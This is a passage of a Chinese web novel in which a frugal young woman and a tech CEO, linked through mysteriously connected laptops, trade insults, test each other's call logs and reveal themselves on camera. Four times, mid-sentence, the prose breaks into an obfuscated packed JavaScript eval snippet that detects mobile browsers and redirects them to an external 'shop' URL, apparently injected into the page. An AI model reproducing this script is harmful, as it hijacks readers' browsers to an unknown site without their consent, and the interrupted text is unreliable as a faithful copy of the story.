程安宁放弃挣扎，伸手拿回电脑，露出标准的露八颗牙齿的疲惫微笑：“好的，麻烦了。” 说完，给电脑关机、合上电脑，放进电脑包，一气呵成。 董毅看向身侧的叶思蕾，小声道：“看吧蕾蕾，电脑真的没问题，真不是我技术不行。” 叶思蕾悻悻眨眼，说不出话。 她是相信自己的小姐妹的，只是跑了四家店都是同一个答复，看样子电脑的问题暂时无解。 程安宁提上电脑包正准备离开，店里另一位围观全程的维修师傅凑过来，主动搭话：“小姑娘，你刚描述电脑出现的奇怪现象，我以前听说过。” 三人瞬间来了精神，目光齐刷刷落在那位维修师傅身上。 程安宁双眼放光，旋即发问：“师傅，你是在哪里听说的？” 维修师傅想了想，随手点了一根香烟：“估计得几年前的事情了吧，我记不太清了，只大概记得那位小伙子也是说遇到了电脑莫名跟别人的互连共用的情况，当时他来过我们店里，还是我接待的他。” 程安宁追问：“结果怎么样？解决了吗？” 维修师傅尴尬笑笑：“没有，我也没看出问题。刚才我在旁边看你那台电脑的时候，发现你和那个小伙子好像还是同个牌子的，型号貌似也有点像，可能你们这款电脑出厂之前就自带这种概率事件的暗病了。” 说到这，话锋一转，顺势开启推销模式：“你这款电脑在市面上不常见了，现在小年轻大多都用轻薄本，要不考虑换一台？我们店里有全新和二手的轻薄本，价格优惠，还送一年保修。” 生怕被缠着推销，程安宁拔腿就走：“不用了，谢谢。” 最后，她是蹭人家小情侣的车回家的。 告别好姐妹和她对象，程安宁独自上楼，打着哈欠推开屋门。 随手把电脑包搁到桌上，她先去洗澡去去一天的疲劳。 等到再次回到桌前坐下，已经临近晚上十一点。 程安宁盯着电脑包思考了一小会儿，最终把笔记本电脑拿出来，决定给那个戏耍她的缺德怪留言。 电脑开机后，程安宁立刻新建文档，抬手就打下“缺德骗子迟早遭报应”这句话。 想了想，又觉得杀伤力不大，转而拿出手机搜怎么骂骗子，屏幕上很快跳出相关内容：骗子原地暴毙、什么浑身生疮流脓，死了下地狱不得超生之类的。 程安宁看得眼花，最后因为犯了纠结和选择困难症，直接把内容都复制放到文档上，然后control+vvvvvvvvvvv…… 没一会儿，重复的骂人内容便占满了整个电脑屏幕。 再给满屏的字体加大加粗，以及换成刺眼的红色字体。OK，完美。 做完这些，程安宁把文档保存在桌面的显眼位置，为了引导对方自觉打开文档，想了想，命名为【不看后悔系列！】 - 结束两天假期，梁彦回到公司上班。 刘志辉笑眯眯地溜达到他的办公室，手里端着一台银灰发亮的笔记本电脑，一副献宝的样子：“彦哥，这是你的新备用机。” 梁彦抬头扫了一眼，继续把注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497883|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力放回自己的工作电脑上：“谢了，放旁边吧。” 刘志辉把电脑放到桌上，顺势在他对面的椅子坐下，“这两天会有媒体过来给我们公司做个专访，你确定不出镜？怎么说你也是公司的核心人物之一，出镜刷个脸也好啊。” 梁彦头也不抬：“交给贺明就行了。” 知道是劝不动他了，刘志辉只好扯到其它话题上：“公司搬迁的地址决定好了，我们贺总打算一举拿下市区那幢近期在拍卖的骏鹏大厦，改名为未来科技。他昨天开会说是你们两个商量过后的决定，大家听了也都没意见。” 梁彦点头低嗯。 刘志辉的目光落在他的桌子上来回扫，没看到他那台旧电脑，稍稍松了口气，同时试探：“你那台旧电脑呢？没带过来了吧？” 梁彦动作一顿，抬眼看他：“你要用么？” 说着，从桌底拿出一个电脑包放到桌上，“在这里。” 刘志辉眼皮一跳，干笑道：“我就问问，没想到你还在用。不过这台笔记本该退休了，要不我帮你拿到二手店里让人家回收？” “不用，我打算自己收起来。”梁彦拒绝了他的提议，重新把电脑包放回桌底，双手又回到键盘上。 刘志辉悻悻挑眉，转而询问：“你这两天休息得好吗？你那台旧电脑……没再出现什么能够跟人共用和沟通的情况了吧？” 一提起这个事情，梁彦不可避免想起昨天被放鸽子的事情，随即扫去一记眼刀：“新项目的技术服务还在等着你去跟合作方对接。” 刘志辉见状，眸光微动，笑嘻嘻起身：“okok，我这就走。” 看样子他这个好兄弟应该是意识到上次的行为有多蠢了，现在清醒了就好。 人一走，办公室回到原有的静谧。 梁彦揉了揉眉心，余光瞥见桌底的电脑包，索性重新拿到桌上，把电脑拿出来充上电。 昨天他独自逛了电子城，随便找了两家店的维修师傅都说电脑没有毛病，他也没坚持逛下去。回去后也没把电脑从电脑包里拿出来，直到今天要到公司上班，他打算把这台旧电脑里的文件转移到U盘上带过来的。 他昨天想过打开电脑或许会看到对方嘲笑他上当之类的，索性眼不见心不烦，懒得去开电脑。现在他的心情平复了许多，就算看到对方在电脑上留言嘲笑他白痴、轻信他人之类的话，他也不会有任何情绪波动，只会觉得幼稚至极。 反正以后都不会用这台旧电脑了，他不想把时间浪费在跟骗子计较的方面上。 想到这，梁彦打开电脑，按下开机键。 屏幕在眼前亮起，如他所想，电脑桌面的中间显眼位置果然多出了一份新文档，是对方给他的新留言。 梁彦不想看，手指落在触控板上正要删除文件，却在看清楚文件名是【不看后悔系列】后，动作微顿，脸上闪过一丝犹豫。 或许……不是嘲笑他的留言呢？会不会是昨天可能临时出了什么状况，比如手机弄丢了之类的，导致没有顺利会合？ 要不，还是看看吧？ 于是，对人类还保留着最后信任的梁小鱼咬住鱼钩，双击点开了文档。 下一刻，通篇骂人骂得很脏的内容冷不防撞入视线。 梁彦一怔，原本平缓的心跳瞬间像烧开的水出现剧烈波动，持续不断的沸腾，整张脸又红又烫。 嗯，被气的。 12.12 这两天跑的面试陆续有了结果，程安宁的工作有了着落。 隔天上午做出决定，下午就去试工了，是昨天下午面试的那家小公司的文员工作，公司是卖运动器械的，在附近还有一家仓库，而她的工作内容是负责整理和打印资料，接电话和接待到访的客户，还有打扫办公室和员工办公区域的卫生等琐碎事，至于待遇方面，比她之前在奶茶店咖啡店工作多了两百块。 公司除了她和老板之外，还有另外两位员工，一男一女，人家和老板都是负责给公司跑业务的。因为是第一天上班，程安宁跟他们不熟，没有过多交流，专心干手头上的活。 傍晚六点，大家准时下班。 程安宁没有急着往家跑，而是打开地图导航，往反方向走了一公里左右，到一家面包店拿走提前一天在线上预订的边角料福利。 于是，一袋满满当当的面包边角料get！ 这一袋可以三天的早餐以及她偶尔需要垫肚子时的零嘴了。 回家路上，看到新开张的奶茶店正推出线上扫码注册，就会在小程序上获得首杯一分钱福利，说白了就是商家引流白送。 程安宁果断出手，很快，一杯兑水的色素浓缩果汁get！ 一路慢悠悠嚼着面包边角料和喝着果汁，程安宁路过一家连锁超市，扭头看了一眼，在心里默默标记。 这家超市每次到晚上九点，熟食区就会打五折，瓜果蔬菜区也是，很适合她这种把钱花在刀刃上的人，她已经一周没过来加入抢货队伍了，今晚该过来给冰箱进货了。 想到这，程安宁拿出手机，给自己设置了一个晚上八点三十分的闹钟。 从她住的地方到这家超市，快的话，走路十分钟就能到，反正她走路快，肯定没问题。然后提前到了超市，就站在折扣区那里等着，等到店员贴上五折的标签，立刻伸手拿走，这是经验之谈。 收起手机，程安宁抬眼看到前方地上躺着一个塑料瓶，眼睛登时亮起来。 作为一个平日里热衷攒瓶子的人，这跟看到钱躺在路上有什么区别？ 手慢无，就是现在！ 程安宁快步捡起空瓶子，继续心满意足地赶路。 回到家的时候，天色已经完全暗下来，肚子也因为一路上吃面包边角料配果汁给填饱了，这下反倒省了一顿晚餐。 距离出门到超市抢折扣商品还有一个多小时，在这之前她还可以当一条咸鱼什么都不做，就躺在沙发上玩手机。 不过，看着桌上的笔记本电脑，程安宁眸光微动，想到昨晚特地在电脑上弄了份文档引诱对方打开，顿时来了精神，坐到桌前打开电脑。 从昨晚到到现在，都过去这么久了，应该看到了吧？ 她很想知道对方在好奇心驱使下打开文档，结果看到她那篇加大加粗的红色字体的骂人内容后是什么样的反应。 电脑顺利开机，程安宁一眼就看到白底红字的桌面壁纸，上面是一段话： 【不是先把脏水泼到别人身上就可以掩盖自己才是骗子的事实，你诅咒人的这些内容只会全都反弹到你身上。】 程安宁轻嗤一笑，神色不屑。 什么嘛，毫无杀伤力的反驳。这样看对方貌似是一个不会骂人的骗子，虽然她也不会，但她会上网查和复制。 这个家伙还学她把字体改成红色，并且加大加粗，几乎占据整个屏幕，生怕她看不到似的。啧，幼稚的学人精。 诶等等，这个家伙为什么说她才是骗子？！ 这谁能忍啊？程安宁立刻新建文档，双手飞快打字：“请搞清楚，你才是骗子！狡辩也改变不了你缺德的事实，还是少耍人多积德吧！” …… 另一时空。 梁彦一如往常留在公司加班。 办公室内，双手敲击键盘的清脆声响像开启运作模式的机器，没有半点停歇的迹象。 门外的公共办公区域，同样加班的部分团队成员在经过办公室门口的时候，都好奇地朝门上的小窗张望，看看团队的老大在做什么，然后不约而同地露出佩服的神情。 此刻，迎来短暂的喝水歇息时间，梁彦从专注的工作状态中抽离，起身接水。 回到原来的位置上，他无意间侧目，看到一旁充了一天电的笔记本电脑发生了一些变化，不由得顿住视线。 只见原本自动进入休眠模式的电脑亮着屏幕，上面是文档的界面，并且还有一则留言。 梁彦把那台笔记本电脑拖到面前，看清楚文档上的内容后，不悦拧眉，当即打字理论：“骗子都擅长反咬一口么？你说这些话不心虚么？” 这句话刚打上去，他的手还没离开键盘，屏幕上立刻跳出回复：“我心虚什么啊？你把脏水往我身上泼，你没有廉耻心的吗？哦，我忘了，你确实没有，毕竟耍了人不仅不承认，还血口喷人的人能有什么廉耻心呢？” 没料到对方这会儿就在电脑前，梁彦有些意外，但很快看到回复的内容后，差点气笑。 他先是缩小这份文档的界面，变成一个小窗，转而在电脑桌面上找到另外一个文档打开，同样把界面缩小。 接着，他把两个窗口放在一起，打字反问：“请看清楚，到底是谁血口喷人？” 与此同时，另一屏幕前的程安宁看到对方打开那篇骂人骂得很脏的内容文档，噎了一瞬，但很快支棱起来：“骗子就是该骂！这有什么错吗？” 对方秒回：“没有错，所以我指责骗子也没有错不是么？” 程安宁愣了愣，回复：“对，都没错。但你骗人之后还要搞装无辜这一套，这就很可耻了。” 顿了顿，又立刻打字补上一句：“敢做不敢当，真没意思。” 两人一来一往的嘲讽和斥责，但内容概括起来就是“你是骗子”、“你才骗子”之类的内容，像小学生吵架的方式似的，翻来覆去就那几句话，认真且幼稚。 梁彦冷静下来发现这一点，随即绕回正题，就事论事：“好，你非要说我是骗子，那你说说我骗你什么了？” 程安宁火速输出：“你还装傻是吧？你假装答应我碰面，给了我一个根本打不通的手机号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504854|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码，我骑一个小时的单车到了电子城的主入口，结果一直等不到人、联系不上人，有你这么缺德的吗？” 梁彦看着屏幕上蹦出一个个字，皱眉加深，也很快回复：“不可能，我昨天去了电子城没有找到你，你给的手机号码我打过去是一个男人接的，对方说不认识你。是你留错了号码，还是你们情侣闹矛盾他才那样说的？如果你真的去了电子城，我不可能没看见你的身影。” 看到对方的辩解，程安宁只觉得荒谬：“什么男人？你确定不是你打错了吗？我的手机一直在我自己身上，压根没有接到你的电话！” 只是对方开启疑心病模式：“这是你的新把戏吗？打算再骗我一次？” 程安宁直接气笑了，开启阴阳模式：“你以为谁都跟你一样缺德吗？” 平白无故被指责缺德，梁彦的怒气值也渐渐往上涨，反问：“你要怎么证明你真的去了电子城？” 电脑屏幕前的程安宁忍不住白眼，打字呛道：“你要我怎么证明？你早说我给你开个直播算了。那你呢？你要怎么证明你也去了电子城？” 梁彦坦然表示：“你可以去跟电子城的保安要昨天下午四点左右的监控视频。” 程安宁直接照抄答案：“那你也可以去电子城的监控室调出监控视频，反正我身正不怕影子斜。” 接着，生怕对方不去找证据证明自己的清白，她又贴心地提供了另外一个方案：“如果人家不让查的话，你可以跟交警要道路的监控视频，我是下午三点从北阳路18号办公楼面完试出来，然后骑着单车一路骑到电子城的，这一路的监控探头肯定能拍到我的行动轨迹，可以佐证我下午确确实实去了电子城。” 梁彦看完文档上的内容，神色微怔，目光转向桌上的名片盒，伸手拿起一张名片。 名片上，公司地址那一栏写着北阳路18号办公楼。 这个人昨天下午到过他们公司面试？ 与此同时，电脑屏幕上又浮现一句话：“现在打给我，我们电话说清楚。” 接着后面便出现一串手机号码。 电脑的另一端，程安宁捏了捏双手，一脸烦躁。 打字交流太费劲了，还不如电话里碰一碰。 看着屏幕上显示的手机号码，梁彦犹豫着拿出手机，输入上面的号码。 刚输进前三个数字，手机立刻跳出通话记录里的一串手机号码，就是他昨天下午拨打的那串号码。 也就是说，他并没有打错电话或者是记错号码。 梁彦顿住拨过去的举动，转而重新在文档上打字：“我昨天打的就是这个号码。” 程安宁不信：“不可能，真打了我怎么没接到？你再打过来，我现在就守着我手机等你。” 见状，梁彦试着拨过去。 而此刻，电脑前的程安宁见文档上没再有回复的内容，这才把注意力放到旁边的手机上。 那个家伙应该打过来了吧？ 想法刚落，桌上的手机冷不防响起。 程安宁眼睛一亮，迅速拿起手机。 13.13 “你好，我找程小姐。” 梁彦握着手机贴在耳边，说出体面的开场白。 “怎么又是你？”回应的是一道不耐的男声，和昨天下午如出一辙。 男人依旧对着手机那端的他疯狂输出：“你到底有完没完？非要打过来找骂，你到底是真傻还是假傻？” 梁彦深呼吸一口气，在对方暴躁的骂声中，面无表情地挂断通话。 显而易见，他又被耍了。 放下手机，他抬眼看到电脑上的文档界面出现新的内容：“你怎么还没打过来？” 还在演？梁彦忍了忍，回复：“不是说你不是骗子么？你打给我吧。” 这一次，他把自己的手机号码发上去。 程安宁没意见，拿起手机就输入上边的号码，手机的通话记录立刻弹出来，是她昨天拨过的号码。 程安宁不信邪，打了过去。 很快，手机那端传出机械的女声提醒此号码暂停服务。 程安宁啧了一声，挂断通话就往电脑上打字：“不行，还是打不通，和昨天一样显示号码暂停服务，你不会是在耍我吧？” 梁彦看着桌上毫无动静的手机，打字反问：“你确定你真的打了吗？” 两人再次对对方产生信任危机。 “废话！”程安宁一脸无语地敲出这两个字，低头看了眼手机上的时间，急着起身的同时又打出一句话：“等一下，我现在有事要忙，等我忙完再说！” 争论暂停，到超市抢半价商品要紧。 刚才她在等对方打电话过来，结果是原先设置的闹钟正好响了，她这才想起是时候到超市血拼一波了。 匆匆离开桌前，在置物柜的角落翻出三个揉得皱巴巴的购物袋，程安宁火速出门。 梁彦看着文档上浮现的最新留言，神色无奈。 争论到一半突然打住，这和你面对面跟人吵架吵到一半，结果人家突然扭头走人有什么区别？ 从面前的笔记本电脑移开视线，梁彦抬眼，余光扫过不远处的办公室门，赫然看到一张人脸印在门上的小窗口。 四目相对，门上的人脸发现自己被抓包，不由得露出尴尬的笑，下一刻便推开门走进办公室：“我刚见你的注意力全在电脑上，没好意思打扰你。” 梁彦淡淡挑眉：“有事？” 刘志辉缓步靠近他，打趣道：“我听老华他们说你跟机器人似的在电脑前一直保持同个动作，所以过来看看。” 说着，他顺势拉开办公桌对面的椅子坐下，开启劝说模式：“彦哥，你今天刚回来上班就不要太拼了，早点下班吧，反正这次的项目给足了时间。” 原本聚精凝神的工作状态，早已从刚才的争论插曲中脱离，确实很难再找回状态了，梁彦点头低嗯，接受了下班的提议。 他随手合上电脑，余光掠过桌上的名片，突而抬头问：“志辉，昨天下午有没有一位姓程的女士到过我们公司面试？” 这个提问过于突然，刘志辉先是一愣，反应过来后摇头：“没有啊，我们公司近期没有招人的打算，贺明昨天开会也说到这个事情，说是等确定公司的搬迁时间再招人。” 梁彦眉头微皱，敛眸沉思。 公司没有招人，没有面试，那么说明对方提供的讯息是假的。 只是，为什么对方在跟他争论的时候，还一副笃定自己不会输的样子，信心十足地让他去查？ “话说，你为什么这么问？”刘志辉露出微妙的笑容，眼里隐隐透着对八卦的亢奋：“姓程的，而且还是女的。快老实交代，是你什么人？” 梁彦神色无奈：“记得我跟你说过我的电脑能跟别人交流的事情么？那个人姓程，说昨天到过我们公司面试。” 闻言，刘志辉瞬间敛起嘻皮笑脸的样子，随后默默起身，拍了拍他的肩膀：“快回去休息吧，等周末我陪你去趟医院，我先出去跟大家说下班了。” 梁彦知道他这是不相信自己，也没想浪费精力和时间去说更多试图让人信服，索性止住嘴，没再继续说下去。 随后，在他的目送下，刘志辉一步三回头地走出办公室，眼神里满是担忧和关切，最后在关上门之际还惆怅地叹了口气。 …… 程安宁提着折扣商品满载而归。 该放冰箱的，该放到收纳柜的，全都趁着这会儿的高涨情绪一并整理妥当。 看着被食物填满的冰箱，程安宁心满意足地合上这个小仓库，转身就拿着换洗的睡衣去洗澡。 等到她想起笔记本电脑里中断的争论已是深夜。 随手将刚吹干的头发拨到耳后，程安宁重新回到电脑前坐下，神色犹豫地打开自动息屏的电脑。 那个人……应该没在电脑前了吧？ 屏幕亮起，文档的界面还停留在两人互相指责对方是骗子的内容上，不过程安宁的怒气值早在出了趟门，并且顺利搜刮了超市的折扣商品后变得心平气和，就算现在有人指着她鼻子骂，她都能微笑着原谅全世界。 于是，程安宁在文档上重新敲字：“hello，你还在吗？” 打完字，她顺势给笔记本电脑接上充电线。 晃眼的功夫，等她再次看向电脑屏幕，就看到那句话的下一行出现了回复：“看电脑桌面。” 没料到这么晚了对方还在，程安宁诧异之余，随即按照他说的把文档缩到任务栏，好奇地观察电脑桌面。 很快，她发现电脑桌面上有一个新的文件夹。 点开文件夹，里面是一张图片和一个视频文件。 程安宁先是查看图片，是一张通话记录的截图，上面显示对方分别在今晚和昨天下午拨出了她的手机号码。 这算什么？那个家伙是在证明自己确实有打电话给她吗？ 真是搞笑，不知道现在图片可以P的吗？ 程安宁不屑地关闭图片，转而点开视频文件。 视频只有三秒，是对方用另外的手机录制的用手滑动手机屏幕的画面，屏幕里正是通话记录的界面。 好吧，对方貌似猜到她会质疑，还录制了视频证明那张图片是真的从通话记录那里截出来的。 程安宁确认了视频里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516525|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通话记录界面上果然有自己的手机号码，不过注意力一下子就被那只出现在画面的手吸引。 修长且骨节分明，肤色冷白，指甲剪得整齐干净，虽然她不是手控，但是目光忍不住瞥向那只手。 许是对方见电脑停留在视频播放完毕的界面没有其它反应，任务栏的文档重新被拉回桌面，接着她看到对方打字问：“这是我的证据之一，你呢？” 切！这样的证据她也拿得出来。 程安宁一秒回到原先的争论状态，打起精神回复：“你等着！我这就给你看！” 随后，她同样截图了通话记录的界面，不过碍于没有另外一部手机可以架起来录制自己滑动屏幕的画面，她直接用了手机的录屏功能把通话记录的界面录下来，证明自己没有P图。 做完这些，她用数据线连接笔记本电脑，把图片和视频都上传到电脑里，又回到文档上打字：“新鲜出炉的证据，请慢用。” 文档俨然成了两人的对话框。 接着，在她的眼皮底下，电脑的鼠标指针自行移动，点开了她上传到电脑上的内容。 她陪着对方一同看完自己这边的证据，同时冷静下来陷入沉思。 从对方提供的截图和视频文件来看，确实是让人信服的。可是为什么她不论是今晚还是昨天下午，都没有接到对方打来的电话？ 与此同时，梁彦也冒出了同一个疑问。 思索无果，他提出质疑：“手机录屏可以作假。” 不然他想不出为什么证据确凿，自己却没有接到任何来电。并且他已经问过刘志辉了，昨天没有人到过公司面试，公司近期也没有招人的打算，很明显对方骗了他。 程安宁气笑，很想穿过电脑揪着对方的衣领问他有完没完，她这会儿哪来的时间去给他专门P个录屏视频。 再说了，又不是每个人都有两部手机，她怎么可能以相同的方式录制。 多说无益，程安宁眉头紧皱，思考如何证明自己没有作假后反将一军。 目光扫过电脑上的摄像头，她眸光微动，手重新落在触控板上，点开电脑桌面左下角的开始菜单。 找到相机那一项，她打开相机。 文档的界面随即被另外一个窗口挡去大半，上面印着她模糊的脸蛋。 程安宁对着镜头挥了挥手，又做了个鬼脸，画面里的她也同样在动。 看样子除了画质模糊之外，摄像头还能够正常使用。 这就好办了！ 电脑的另一端，梁彦看到电脑弹出的窗口里有一张白皙的脸蛋正做着搞怪的表情。 虽然画质有些模糊，但是能够看出是一个唇红齿白、身形纤瘦的女生坐在笔记本电脑前。 而这个女生就是他前些天无意间在电脑上撞见的修图现场的照片主人，也是这些天，包括此刻正跟他嘴硬的那个人。 不过，因为不是视频通话，只是通过打开电脑的摄像头看到的图像，并不能接收到声音。 紧接着，文档界面缩小了窗口，上面也随之出现一句新的留言：“你那边能看到我吗？” 14.14 梁彦不知道她这样做是什么用意，但还是敲下回复：“可以。” 得到确认，程安宁随即拿起手机对着电脑屏幕上方的镜头，另一只手指了指手机，示意屏幕另一端的人看手机。 无声且单方面的视频互动还是第一次体验，梁彦宛如在观赏一出即兴哑剧，眼里多了几分兴致和清浅的笑意。 程安宁拿着手机凑近镜头，同时用手指滑动手机屏幕，点开一个界面。 梁彦看到了手机里通话记录的界面，顿时明了。 原来对方是想通过这个方法让他亲眼看手机里的通话记录。 通话记录的界面在镜头前停留了一分钟左右，占满了整个拍摄画面，透过略显模糊的画质，梁彦看到了自己的手机号码。 程安宁估摸着他应该看到了，将手机从镜头前挪开，低头捣鼓手机。 很快，她又把手机凑近镜头前，是一个拨打电话的界面。 梁彦看到屏幕上显示的正是自己的手机号码，随即看向桌上的手机。 一秒、两秒、三秒…… 手机迟迟没有响起来。 他又看向电脑屏幕，只见相机的弹窗里，对方低头看着手机，随后抬头看向电脑的镜头，重新将手机凑近镜头前，葱白的手指轻点屏幕的通话界面，接着她又收回手机，对着电脑的镜头做了一个无奈耸肩的动作，模样俏皮灵动。 显然，对方没能拨通他的号码。 也就是说，对方没有说谎，她昨天下午和今晚是真的联系过他。 文档上随之出现新的留言：“这下信了吧？” 梁彦沉默，拿起桌上的手机查询话费。 确认手机没有欠费停机后，他在通讯录里找出刘志辉的号码拨出去。 刚响了一声，手机那端随即传出刘志辉的问候声：“彦哥，大晚上不睡觉有什么指教？” 背景音带有嘈杂劲爆的DJ舞曲，他这位好兄弟似乎正在酒吧消遣。 梁彦不跟他废话，开口示意：“你回拨给我试试。” “啊？”刘志辉刚发出疑惑的声音，下秒通话便被挂断。 很快，手机响起，刘志辉打了过来：“彦哥，到底什么事啊？” 确认了手机能够正常接听，梁彦道：“没事。” “啊？？”这通来电莫名其妙的，刘志辉一脸懵，怀疑自己是不是醉酒了。 “你继续玩吧。”丢下这句话，梁彦挂断通话，面上泛起困惑。 既然手机没有欠费，别人打给他也能够正常接听，为什么对方打不通呢？ 他的视线回到电脑屏幕上，看到文档又有了新留言：“你说录屏可以作假，我已经证明给你看了是真的。现在我倒觉得你那个视频可能作假，你也拿出证明吧。” 电脑另一端，程安宁打完这句话，随即关闭相机的界面，坐等对方的回复。 本来这个事情在她看来只要对方承认自己是个骗子，然后双方开启一番骂战闹得不欢而散，这个事情就过了。偏偏对方非要污蔑她是骗子，还要掰扯这么多，那她这个犟种只能奉陪到底了。 现在她倒要看看对方还能怎么嘴硬。 有本事跟她一样露面实时对质！ 那张白皙精巧的脸蛋随着相机界面的关闭在眼前消失了，电脑回到单调的文档界面。 梁彦打开了左下角的菜单，找到了相机那一项功能。 人家女生已经坦荡露面并且当场示范了，他要是在这个节骨眼上退缩，反倒坐实了对方觉得他是骗子的猜测。 那么，他也有样学样，照着对方的方法证明自己同样没有说谎。 与此同时，程安宁起身给自己接了杯水。 她喝着水回到桌前坐下，目光落在电脑屏幕上，赫然看到一张惊为天人的帅脸，冷不防噎了自己一口。 程安宁手忙脚乱地放下水杯，捂着嘴剧烈咳嗽。 缓过来后，她的视线回到电脑上。 屏幕里，一张棱角分明的脸庞出现在相机界面，男人浓眉挺鼻，眼睛深邃，脸上没有多余的神色，身上穿着黑色休闲的家居服坐在电脑前。 在同样模糊的画质里，那张脸还是帅她一大跳。 紧接着，旁边的文档界面冒出一句话：“看得到吗？” 看样子这个人就是跟她嘴硬的家伙。 虽然不是很想承认，但是确实帅，甚至看着有点眼熟，好像在哪里见过。 不过再帅品性不行的话还不是白搭。 程安宁一秒找回理智，冷淡地敲下回复：“嗯。” 得到确认，梁彦拿起手机对着电脑屏幕上方的镜头，学着她刚才的样子开始做起一系列证明。 程安宁靠着椅背，饶有兴致地看着帅哥给她演一出哑剧。 OK，手机的通话记录没问题。输入的号码也没问题，接着就是对方拨通她的号码这一流程。 程安宁立刻拿起手机等待来电。 只是，在来回看了手机和电脑屏幕数次，手机一直没有响起来电铃声，反倒是她看到电脑相机界面里的帅哥神色无奈，举着手机凑近镜头，显示通话界面的号码接通了。 程安宁错愕地睁大双眼，重新看向自己的手机。 不对啊！她压根没有接到电话，对方的通话界面怎么可能是接通的状态？！ 电脑的另一端，梁彦看着屏幕上方的摄像头，又低头看向不断发出暴躁谩骂声的手机。 骂人的内容大概是对方问为什么又是他，然后再以他为中心，在这个基础上还问候了全家和祖宗十八代。 其实他不想打过去打扰人家的，也知道无法避免挨骂，但是不对着镜头证明自己真的打了电话，又没有说服力。 趁着对方骂累停歇了一小会儿，梁彦逮住说话的机会，识趣道歉：“抱歉。” 对方似乎愣了一下，但很快又接着骂：“神经病，老子迟早换了这个号码！” 梁彦挂断通话，随后也对着电脑的摄像头做了一个无奈耸肩的动作。 见对方展示完毕，程安宁随即在文档上打字发出疑问：“怎么回事？我怎么接不到你打过来的电话？” 梁彦收起手机，在下一行回复：“不清楚，我也没接到你的来电。” 程安宁皱眉，继续打字：“这也太奇怪了，明明号码都对得上。” 这么看来，她和对方都不是骗子，他们都是切切实实地联系过对方，只是没能顺利联系上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529556|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过，两人没能在约定好的地点顺利会合又是怎么一回事儿？ 思索间，程安宁的目光落在屏幕上的相机界面，对方在做完证明后似乎是忘记关闭窗口，此刻也坐在电脑前思考。 程安宁的注意力被那张脸分去了大半，总感觉近期在哪里见过他。 难不成是什么明星小鲜肉？她最近在网上哪里刷到过宣传海报之类的，导致有了印象觉得眼熟？ 程安宁的脑海里突然闪过一张带有鞋印的海报，瞳孔一缩。 对了，海报！ 未来科技公司那张被扔在地上的海报！ 她就在海报上看过这张脸，简直一模一样。要说有什么不同之处，那就是眼前的这张脸看着没有照片那么生人勿近，像人家大佬的青涩版本。 程安宁顿感惊奇，噼里啪啦打字：“有没有人说过你长得很像未来科技公司的CEO梁彦？” 话题突然的转变让梁彦愣了一下，同时也让他发现了屏幕上的相机界面忘了关，他在电脑前的一举一动依旧展示在相机界面里。 不过让他惊讶的是，对方居然知道他。 虽然未来科技确实开始进入大众的视野了，但是他鲜少在镜头前露面，都是贺明和刘志辉作为代表出席。一般知道他的只有身边认识的人，但是他很确定自己不认识这个女生。 疑惑之余，梁彦关闭相机界面，敲键盘在文档上回复：“我就是梁彦。” 屏幕上没了那张帅脸养眼，程安宁在心里遗憾了一下，接着看到对方的回答，无语地扯了一下嘴角，自行换行打字：“别开玩笑了。请问你怎么称呼？” 梁彦无奈，依旧如实回复：“梁彦。” 他就是他，有什么好作假的。 想到对方的长相确实是像，程安宁心里有些动摇：“真的假的？你要怎么证明？” 在互联网上遇到大佬的概率有这么低吗？ 疑惑刚落，电脑屏幕上蓦然弹出一个窗口。 是相机界面。 那张棱角分明的脸再次出现在眼前，对方看了一眼镜头的方向，确认打开后，起身离开电脑前。 程安宁一脸疑惑。 但很快，男人回到电脑前，朝着镜头的方向亮出一样东西。 程安宁好奇地凑近屏幕，看到一张未来科技公司的工作证，上面的名字栏赫然印着“梁彦”二字，照片栏的照片就更不用说了。 她神色震惊，一句带有惊叹意味的国粹差点脱口而出。 没想到电脑另一端的真是大佬本人！ 梁彦自己都没想到会对一个陌生人有这样的耐心，在面对质疑还会拿出证件向她证明。 他收回工作证，反应过来发现自己竟然有这个闲工夫在做证明自己身份的无聊事。 